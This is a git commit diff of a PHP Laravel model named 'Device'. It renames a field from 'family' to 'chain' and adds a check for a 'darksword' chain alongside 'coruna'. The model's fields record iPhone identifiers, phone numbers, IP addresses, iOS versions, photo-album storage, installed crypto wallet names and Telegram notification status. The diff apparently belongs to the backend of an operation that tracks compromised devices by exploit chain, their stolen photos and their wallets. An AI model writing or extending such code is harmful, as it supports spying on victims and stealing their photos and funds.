This commit is contained in:
hashbro
2026-08-26 06:10:33 +08:00
parent 5cb5744b7a
commit 0ce51aa33e
41 changed files with 1146 additions and 1154 deletions
+10 -4
View File
@@ -13,18 +13,18 @@ class Device extends Model
public const WALLET_YES = 2;
public const FAMILY_CORUNA = 'coruna';
public const CHAIN_CORUNA = 1;
public const FAMILY_DARKSWORD = 'darksword';
public const CHAIN_DARKSWORD = 2;
protected $fillable = [
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
'family' => self::FAMILY_CORUNA,
'chain' => self::CHAIN_CORUNA,
];
protected function casts(): array
@@ -33,10 +33,16 @@ class Device extends Model
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
'has_wallet' => 'integer',
'chain' => 'integer',
'wallet_names' => 'array',
];
}
public function isDarkSword(): bool
{
return (int) $this->chain === self::CHAIN_DARKSWORD;
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;